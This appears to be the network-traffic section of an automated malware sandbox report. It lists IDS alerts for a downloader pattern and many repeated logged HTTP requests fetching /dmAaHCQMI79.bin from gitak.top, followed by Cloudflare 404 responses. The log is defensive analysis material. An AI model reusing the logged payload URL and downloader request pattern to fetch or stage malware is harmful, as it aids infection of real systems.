Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49809 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49804 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49817 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49813 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49810 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49805 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49812 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49811 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49820 -> 172.67.207.219:443

Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dmAaHCQMI79.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: gitak.topCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: gitak.top

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:40:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6RtkS5n2C9K8mjiAQPIkIP9T88mXoVLDUFQwJUfSU5sWwsYGnJKDIxQnhTK%2BYG5ngpEcRf5RfEbq4xB%2BvWG1QUI17VL2JbGYWyhEsdLzTqLMGDmjiPOeBBprfnY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babec105a2956ec-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:40:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 10Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MLabE8DPPtKS9rn%2FTmLbROV6pDDQFvRUk5aR5YeVnvTApARwxz%2F8eMLXqLjU1H2LPDuTGQXlPnvkwrSU8v3J6RPJcu5I7EI7q06db33Ur7Nef7zicxytRomCyHM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babec535dbf2d28-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:40:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 21Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qWXXS2NrwTGdUxdtZPpsZTpq8PP%2Bh4tk92eB%2FEd5X13HxWMvQ%2B6NdI2shR5ctT2z8oU1E4HTXmPeGexsCOi5j4W%2FHdkE0kdFxfXspk4Tk%2Bm1yHedovEr5Pti9IA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babec950eb559f1-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:40:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 31Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K0fWlft6fUQ4S4m4KlgLPN5GN2AGQUD7AL7zviH7Ky3zISp6ZpHnfTQrQtdHPn3GPqoPei3sBc5gN1WUIihvF5Y%2BpAf7A4Bpcdnl1W%2BRSByVg3wQsjOuM3azODM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babecd6edd32d15-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:41:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 42Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vGiHI3lLvT9Gur%2FzlVH2DRekG2i01nj0wF8JaD0PDHAb3Vx3HLZBTbOoe87ew2QVaaNRadhADqYBGLdObIr7C8zJRuT68CpYshrP3ekInFYY3JTra00i0dP02DA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babed18a9bb082e-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:41:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 52Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i7gL3sdbOuJzSEcJkT99MXrxL780mMWdYRsl3RrCszGJhf9VuZqfcXQG0z6504sWRm1nsGiSL4fIXJA2sCPjAZe5kDXg2AB3Xa9%2BYi2a0kOCrOsKiLgG0cxQFTo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babed5a69411fd4-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:41:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 63Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F5b2RW%2Fj%2BT4RrEZWx4D%2FnyakwG90IGNXz%2Fl%2Fy9eJcEXVaz99bZLUGlNYOClAFPHSWDkTInHh3OqeupG1uIY%2FCy1DDISV8N41MvZpYqErhYiSpEZDk9JPknQQYf8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babed9c1cd9c584-IADalt-svc: h3=":443"; ma=86400
